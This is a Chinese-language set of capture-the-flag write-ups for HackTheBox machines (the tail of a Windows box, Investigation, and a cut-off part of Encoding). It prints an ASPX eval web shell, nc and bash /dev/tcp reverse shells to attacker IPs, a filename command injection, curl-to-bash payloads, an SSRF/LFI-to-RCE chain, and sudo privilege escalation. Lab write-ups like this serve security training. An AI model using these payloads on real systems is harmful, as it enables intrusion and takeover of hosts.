Set-Content -Path "C:\inetpub\development\development\BFL.aspx" -Value '<%@ Page Language="Jscript"%><%eval(Request.Item["BFL"],"unsafe");%>'

蚁剑连接后上传nc.exe

一开始找个nc不支持-e选项,笑嘻了

监听

1
nc -lvnp 9997

反弹Shell

1
cmd /c start nc.exe -e cmd 10.10.16.12 9997
1
whoami /priv
1
2
3
4
5
6
7
8
9
10
11
12
13
PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

SeImpersonatePrivilege,一眼juicypotato

老的juicypotato好像对Microsoft Windows Server 2019 Standard无效

下载JuicyPotatoNG,解压并开启http服务

1
2
3
wget https://github.com/antonioCoco/JuicyPotatoNG/releases/download/v1.1/JuicyPotatoNG.zip
unzip JuicyPotatoNG.zip
python -m http.server 80

监听

1
nc -lvnp 9995

下载JuicyPotatoNG.exe和nc.exe,运行juicypotatong

1
2
3
4
powershell
Invoke-WebRequest -Uri "http://10.10.16.12/JuicyPotatoNG.exe" -OutFile "./JuicyPotatoNG.exe"
Invoke-WebRequest -Uri "http://10.10.16.12/nc.exe" -OutFile "./nc.exe"
./juicypotatoNG.exe -t t -p "./nc.exe" -a "-e cmd 10.10.*.* 9995

获得反弹shell,查看root.txt

1
type c:\users\administrator\desktop\root.txt
1
f54fcef08f4ea67c6c7b406b2170b354

端口转发工具

之前的lcx工具弄丢了,现在找的交叉编译跟Windows环境编译都能通过,但是都用不了

https://github.com/windworst/LCX
https://github.com/AA8j/SecTools/raw/main/lcx/lcx.exe

搞半天连不通
网上找下第一个编译成elf第二个直接用还能连上,就这样吧


HackTheBox_Investigation

信息收集

端口扫描

1
nmap -Pn -sV -T5 -v 10.10.11.197
1
2
3
4
5
6
7
Nmap scan report for 10.10.11.197
Host is up (1.2s latency).
Not shown: 835 closed ports, 163 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
Service Info: Host: eforenzics.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

路径枚举

1
curl -I http://10.10.11.197
1
2
3
4
5
HTTP/1.1 301 Moved Permanently
Date: Tue, 21 Mar 2023 11:51:08 GMT
Server: Apache/2.4.41 (Ubuntu)
Location: http://eforenzics.htb/
Content-Type: text/html; charset=iso-8859-1

添加域名解析

1
echo -e '10.10.11.197\teforenzics.htb' >> /etc/hosts

未枚举出有效路径

漏洞利用

请求http://eforenzics.htb/service.html

上传文件功能位于http://eforenzics.htb/upload.php

1
2
cd /tmp
python -m http.server 80

burpsuite中使用以下文件名进行RCE

filename="|`curl 10.10.16.8?BFL`|"

本地httpserver接收到请求

监听

1
nc -lvnp 9998

反弹Shell语句

1
echo 'bash -i >& /dev/tcp/10.10.*.*/9998 0>&1' > /tmp/BFL

使用以下格式的文件名进行反弹Shell

filename="|`echo $BASE64_PAYLOAD | base64 -d`|"

Base64编码前的命令如下

1
2
curl 10.10.*.*/BFL -o /tmp/BFL
bash /tmp/BFL

接收到Shell

1
cat /etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
smorton:x:1000:1000:eForenzics:/home/smorton:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
backup:x:34:34::/var/backups:/usr/sbin/nologin
fwupd-refresh:x:113:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:997::/var/log/laurel:/bin/false

查找与用户smorton相关的文件

1
find / -user smorton -print 2>/dev/null
1
2
/home/smorton
/usr/local/investigation/Windows Event Logs for Analysis.msg

查看文件权限

1
ls -la /usr/local/investigation/Windows\ Event\ Logs\ for\ Analysis.msg
1
-rw-rw-r-- 1 smorton smorton 1308160 Oct  1 00:35 /usr/local/investigation/Windows Event Logs for Analysis.msg

查看Web路径权限

1
ls -la /var/www/html/
1
2
3
4
5
6
7
8
total 44
dr-xr-x--- 4 www-data www-data 4096 Jan 9 10:50 .
dr-xr-x--- 4 www-data www-data 4096 Sep 30 22:26 ..
drwxrwx--- 2 www-data www-data 4096 Mar 21 13:02 analysed_images
dr-xr-x--- 7 www-data www-data 4096 Oct 1 00:31 assets
-r-xr-x--- 1 www-data www-data 10957 Oct 1 00:31 index.html
-r-xr-x--- 1 www-data www-data 4335 Oct 1 00:31 service.html
-r-xr-x--- 1 www-data www-data 5193 Oct 1 00:31 upload.php

更改Web路径权限并将文件移动至Web路径

1
2
chmod +x /var/www/html/
cp /usr/local/investigation/Windows\ Event\ Logs\ for\ Analysis.msg /var/www/html/BFL.msg

下载文件

1
2
wget http://eforenzics.htb/BFL.msg
file BFL.msg
1
BFL.msg: CDFV2 Microsoft Outlook Message

apt-get install evolution
https://www.zamzar.com/converters/document/msg/

转换为pst格式文件并在evolution中打开

1
2
3
4
5
6
Hi Steve,

Can you look through these logs to see if our analysts have been logging on to the inspection terminal. I'm concerned that they are moving data on to production without following our data transfer procedures.

Regards.
Tom

导出zip并解压后得到security.evtx

pip install python-evtx

1
evtx_dump.py security.evtx > sec.xml

查找以下内容

<EventID Qualifiers="">4625</EventID>

某个匹配结果附近找到字符串Def@ultf0r3nz!csPa$$

尝试登入SSH

1
2
ssh smorton@10.10.11.197
Def@ultf0r3nz!csPa$$

登入成功,查看user.txt

1
cat /home/smorton/user.txt
1
0e98d3d1effe4d3e1d9e1dcb2574d7ac

权限提升

1
sudo -l
1
2
3
4
5
Matching Defaults entries for smorton on investigation:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User smorton may run the following commands on investigation:
(root) NOPASSWD: /usr/bin/binary
1
ls -la /usr/bin/binary
1
-r-xr-xr-- 1 root root 19024 Jan  5 16:02 /usr/bin/binary

在Web用户的Shell中更改Web路径权限

1
2
chmod 777 /var/www
chmod 777 /var/www/html

移动文件至Web路径

1
cp /usr/bin/binary /var/www/html/

获取文件

1
wget http://eforenzics.htb/binary

IDA中反编译的主函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [rsp+28h] [rbp-28h]
__int64 v5; // [rsp+30h] [rbp-20h]
__int64 v6; // [rsp+38h] [rbp-18h]
__int64 v7; // [rsp+38h] [rbp-18h]
char *s; // [rsp+40h] [rbp-10h]
char *command; // [rsp+48h] [rbp-8h]

if ( argc != 3 )
{
puts("Exiting... ");
exit(0);
}
if ( getuid() )
{
puts("Exiting... ");
exit(0);
}
if ( strcmp(argv[2], "lDnxUysaQn") )
{
puts("Exiting... ");
exit(0);
}
puts("Running... ");
stream = fopen(argv[2], "wb");
v5 = curl_easy_init();
curl_easy_setopt(v5, 10002LL, argv[1]);
curl_easy_setopt(v5, 10001LL, stream);
curl_easy_setopt(v5, 45LL, 1LL);
if ( (unsigned int)curl_easy_perform(v5) )
{
puts("Exiting... ");
exit(0);
}
v6 = snprintf(0LL, 0LL, "%s", argv[2]);
s = (char *)malloc(v6 + 1);
snprintf(s, v6 + 1, "%s", argv[2]);
v7 = snprintf(0LL, 0LL, "perl ./%s", s);
command = (char *)malloc(v7 + 1);
snprintf(command, v7 + 1, "perl ./%s", s);
fclose(stream);
curl_easy_cleanup(v5);
setuid(0);
system(command);
system("rm -f ./lDnxUysaQn");
return 0;
}
  • 10002LL: This sets the URL to use for the request, and the value is passed in as the argv[1] parameter.
  • 10001LL: This sets the output stream to use for the response, and the value is passed in as the stream parameter.
  • 45LL: This sets the CURLOPT_VERBOSE option to 1, which causes libcurl to output verbose information about the request and response to the console.

Generated by ChatGPT

大概意思是curl argv[1] -o argv[2] -v

构造perl提权脚本并触发

1
2
echo 'exec "/bin/bash";' > /tmp/bfl
sudo -u root /usr/bin/binary file:///tmp/bfl lDnxUysaQn

get root, 查看root.txt

1
cat /root/root.txt
1
4a5dc64d395878aa52ec1bc85c579d67

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
if (isset($_POST['upload']) && $_FILES['image']['error']==0) {
$allow_type = array('image/jpeg','image/png');
$image_name = $_FILES['image']['name'];
$original_name = $image_name;
$sanitised = preg_replace('/[^a-zA-Z0-9]+/', '', $original_name);
$image_type = getimagesize($_FILES['image']['tmp_name']);
$image_name = explode('.',$image_name);
$folder=time();

if(in_array($image_type['mime'], $allow_type)){
list($width, $height, $mime) = getimagesize($_FILES['image']['tmp_name']);

if ($width>0 && $height>0) {
mkdir("/var/www/uploads/$folder");
$upload = move_uploaded_file($_FILES['image']['tmp_name'], '/var/www/uploads/'.$folder.'/'.$_FILES['image']['name']);

if ($upload) {
echo '<p>'.$sanitised.' has been uploaded. The analysis report can be viewed <a href=analysed_images/'.$sanitised.'.txt>here</a> </p>';
echo '<p>Please save this report as it will only be available for the next five minutes</p>';
$folder = "/var/www/uploads/$folder";
$cmd = "cd $folder && /opt/exiftool/exiftool * > /var/www/html/analysed_images/$sanitised.txt";
shell_exec($cmd);
}
} else {
echo 'Error: Only JPEG and PNG are allowed';
}
} else {
echo 'Error: Only JPEG and PNG are allow';
}

}else {
echo 'Error: Invalid File Type!';
}
?>

意思是没必要用`


HackTheBox_Encoding

信息收集

端口扫描

1
nmap -Pn -sV -T5 -v 10.10.11.198
1
2
3
4
5
6
7
Nmap scan report for 10.10.11.198
Host is up (0.42s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

路径枚举

在站点中获得域名信息haxtables.htb

1
echo -e "10.10.11.198\thaxtables.htb" >> /etc/hosts

VHOST

枚举VHOST

1
wfuzz -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://haxtables.htb" -H "Host: FUZZ.haxtables.htb"
1
2
3
4
5
6
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000051: 200 0 L 0 W 0 Ch "api"
000000177: 403 9 L 28 W 284 Ch "image"
1
2
echo -e "10.10.11.198\tapi.haxtables.htb" >> /etc/hosts
echo -e "10.10.11.198\timage.haxtables.htb" >> /etc/hosts

漏洞利用

页面给出的API调用方法如下

1
2
3
4
5
6
7
import requests
json_data = {
'action': 'str2hex',
'file_url' : 'http://example.com/data.txt'
}
response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
print(response.text)

参数file_url可能存在LFI漏洞

利用API进行LFI

1
curl http://api.haxtables.htb/v3/tools/string/index.php --json '{"action":"b64encode","file_url":"file:///etc/passwd"}' | jq -r .data | base64 -d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
svc:x:1000:1000:svc:/home/svc:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:120:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

编写如下lfi.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64
import json
import requests
import sys

req = requests.session()
json_data = {
'action': 'b64encode',
'file_url' : 'file://%s' % sys.argv[1]
}

res = req.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
data = json.loads(res.text)
print(b64decode(data["data"]).decode())

读取apache2站点配置

1
python lfi.py /etc/apache2/sites-enabled/000-default.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<VirtualHost *:80>
ServerName haxtables.htb
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html


ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>


<VirtualHost *:80>
ServerName api.haxtables.htb
ServerAdmin webmaster@localhost
DocumentRoot /var/www/api
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName image.haxtables.htb
ServerAdmin webmaster@localhost

DocumentRoot /var/www/image

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
#SecRuleEngine On

<LocationMatch />
SecAction initcol:ip=%{REMOTE_ADDR},pass,nolog,id:'200001'
SecAction "phase:5,deprecatevar:ip.somepathcounter=1/1,pass,nolog,id:'200002'"
SecRule IP:SOMEPATHCOUNTER "@gt 5" "phase:2,pause:300,deny,status:509,setenv:RATELIMITED,skip:1,nolog,id:'200003'"
SecAction "phase:2,pass,setvar:ip.somepathcounter=+1,nolog,id:'200004'"
Header always set Retry-After "10" env=RATELIMITED
</LocationMatch>

ErrorDocument 429 "Rate Limit Exceeded"

<Directory /var/www/image>
Deny from all
Allow from 127.0.0.1
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</DIrectory>

</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

站点image.haxtables.htb仅允许本地访问

读取image.haxtables.htb/index.php

1
python lfi.py /var/www/image/index.php
1
2
3
4
5
6
7
<?php 

include_once 'utils.php';

include 'includes/coming_soon.html';

?>

读取image.haxtables.htb/utils.php

1
python test.py /var/www/image/utils.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php

// Global functions

function jsonify($body, $code = null)
{
if ($code) {
http_response_code($code);
}

header('Content-Type: application/json; charset=utf-8');
echo json_encode($body);

exit;
}

function get_url_content($url)
{
$domain = parse_url($url, PHP_URL_HOST);
if (gethostbyname($domain) === "127.0.0.1") {
echo jsonify(["message" => "Unacceptable URL"]);
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTP);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$url_content = curl_exec($ch);
curl_close($ch);
return $url_content;

}

function git_status()
{z
$status = shell_exec('cd /var/www/image && /usr/bin/git status');
return $status;
}

function git_log($file)
{
$log = shell_exec('cd /var/www/image && /ust/bin/git log --oneline "' . addslashes($file) . '"');
return $log;
}

function git_commit()
{
$commit = shell_exec('sudo -u svc /var/www/image/scripts/git-commit.sh');
return $commit;
}
?>

该路径疑似存在git

1
python test.py /var/www/image/.git/HEAD
1
ref: refs/heads/master

确认存在git

获取GitTools

1
git clone https://github.com/internetwache/GitTools

./GitTools/Dumper/gitdumper.sh的curl语句替换为如下语句

1
curl -s "http://api.haxtables.htb/v3/tools/string/index.php" --json "{\"action\":\"b64encode\", \"file_url\":\"file:///var/www/image/.git/$objname\"}" | jq -r .data  | base64 -d > "$target"

获取项目文件

1
2
bash ./Dumper/gitdumper.sh http://images.haxtables.htb/.git/ /tmp/image/
bash ./Extractor/extractor.sh /tmp/image/ /tmp/dump/

得到/action/action_header.php内容

确认内容

1
python test.py /var/www/image/actions/action_handler.php
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

include_once 'utils.php';

if (isset($_GET['page'])) {
$page = $_GET['page'];
include($page);

} else {
echo jsonify(['message' => 'No page specified!']);
}

?>

存在可以进行LFI漏洞,请求http://image.haxtables.htb/actions/action_handler.php?page=PAYLOAD进行LFI_TO_RCE

确认/etc/hosts信息

1
python test.py /etc/hosts
1
2
3
4
5
6
7
8
9
10
127.0.0.1 localhost
127.0.1.1 encoding
127.0.0.1 haxtables.htb api.haxtables.htb image.haxtables.htb

# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

存在image.haxtables.htb的解析记录

编写exp.py如下

1
2
3
4
5
6
7
8
9
10
11
12
import base64
import json
import requests
import sys

req = requests.session()
json_data = {
'action': 'b64encode',
'file_url' : 'http://image.haxtables.htb/actions/action_handler.php?page=%s' % sys.argv[1]
}
res = req.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
print(res.text)

进行LFI测试

1
python exp.py file:///etc/passwd

报错

1
{"message":"Unacceptable URL"}

查看api.haxtables.htb/v3/tools/string/index.php的代码

1
python test.py /var/www/api/v3/tools/string/index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
include_once '../../../utils.php';
include_once 'utils.php';


if (isset($_FILES['data_file'])) {
$action = $_POST['action'];
$data = file_get_contents($_FILES['data_file']['tmp_name']);
} else {
$jsondata = json_decode(file_get_contents('php://input'), true);
$action = $jsondata['action'];

if ( empty($jsondata) || !array_key_exists('action', $jsondata))
{
echo jsonify(['message' => 'Insufficient parameters!']);

}

if (array_key_exists('file_url', $jsondata)) {
$data = get_url_content($jsondata['file_url']);
} else {
$data = $jsondata['data'];
}

}


if ($action === 'str2hex') {
echo jsonify(['data'=> str2hex($data)]);

} else if ($action === 'hex2str') {
echo jsonify(['data' => hex2str($data) ]);

} else if ($action === 'md5') {
echo jsonify(['data'=> md5($data)]);

} else if ($action === 'sha1') {
echo jsonify(['data'=> sha1($data)]);

} else if ($action === 'urlencode') {
echo jsonify(['data'=> urlencode($data)]);

} else if ($action === 'urldecode') {
echo jsonify(['data'=> urldecode($data)]);

} else if ($action === 'b64encode') {
echo jsonify(['data'=> base64_encode($data)]);

} else if ($action === 'b64decode') {
echo jsonify(['data'=> base64_decode($data)]);

} else {
echo jsonify(['message'=> 'Invalid action'], 404);
}



?>

查看第一个api.haxtables.htb/handler.php的代码

1
python test.py /var/www/api/handler.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php

// Global functions

function jsonify($body, $code = null)
{
if ($code) {
http_response_code($code);
}

header('Content-Type: application/json; charset=utf-8');
echo json_encode($body);

exit;
}


function get_included_contents($filename) {
ob_start();
include $filename;
return ob_get_clean();
}

function get_url_content($url){
$domain = parse_url($url, PHP_URL_HOST);
if (gethostbyname($domain) === "127.0.0.1") {
jsonify(["message" => "Unacceptable URL"]);
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$url_content = curl_exec($ch);
curl_close($ch);
return $url_content;
}

function make_api_call($action, $data, $uri_path, $is_file = false){
if ($is_file) {
$post = [
'data' => file_get_contents($data),
'action' => $action,
'uri_path' => $uri_path
];
} else {
$post = [
'data' => $data,
'action' => $action,
'uri_path' => $uri_path
];
}

$ch = curl_init();
$url = 'http://api.haxtables.htb' . $uri_path . '/index.php';
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post));
curl_setopt( $ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
$response = curl_exec($ch);
curl_close($ch);
return $response;


}

?>

函数get_url_content禁止对127.0.0.1进行访问

页面调用功能时请求为haxtables.htb/handler.php
查看其代码

1
python test.py /var/www/html/handler.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
include_once '../api/utils.php';

if (isset($_FILES['data_file'])) {
$is_file = true;
$action = $_POST['action'];
$uri_path = $_POST['uri_path'];
$data = $_FILES['data_file']['tmp_name'];

} else {
$is_file = false;
$jsondata = json_decode(file_get_contents('php://input'), true);
$action = $jsondata['action'];
$data = $jsondata['data'];
$uri_path = $jsondata['uri_path'];



if ( empty($jsondata) || !array_key_exists('action', $jsondata) || !array_key_exists('uri_path', $jsondata))
{
echo jsonify(['message' => 'Insufficient parameters!']);
// echo jsonify(['message' => file_get_contents('php://input')]);

}

}

$response = make_api_call($action, $data, $uri_path, $is_file);
echo $response;

?>

函数make_api_call无限制

但存在URL拼接

1
$url = 'http://api.haxtables.htb' . $uri_path . '/index.php';

前面的内容用@注释
后面的内容用&注释

修改exp.py如下

1
2
3
4
5
6
7
8
9
10
11
12
import base64
import json
import requests
import sys

req = requests.session()
json_data = {
'action': 'b64encode',
'uri_path' : '@image.haxtables.htb/actions/action_handler.php?page=%s&' % sys.argv[1]
}
res = req.post('http://haxtables.htb/handler.php', json=json_data)
print(res.text)

再次尝试LFI

1
python exp.py /etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
svc:x:1000:1000:svc:/home/svc:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:120:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

使用php_filter_chain_generator生成PAYLOAD并进行RCE

1
2
3
4
5
git clone https://github.com/synacktiv/php_filter_chain_generator
python php_filter_chain_generator.py --chain '<?php system("curl http://10.10.*.*/bfl.sh | bash");?> '
echo 'bash -i >& /dev/tcp/10.10.16.2/9998 0>&1' > /tmp/bfl.sh
cd /tmp/ && python -m http.server 80 &
python exp.py PAYLOAD

获取反弹Shell

1
id
1
uid=33(www-data) gid=33(www-data) groups=33(www-data)
1
sudo -l
1
2
3
4
5
6
7
Matching Defaults entries for www-data on encoding:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User www-data may run the following commands on encoding:
(svc) NOPASSWD: /var/www/image/scripts/git-commit.sh
1
cat /var/www/image/scripts/git-commit.sh
1
2
3
4
5
6
7
8
9
#!/bin/bash

u=$(/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image ls-files -o --exclude-standard)

if [[ $u ]]; then
/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image add -A
else
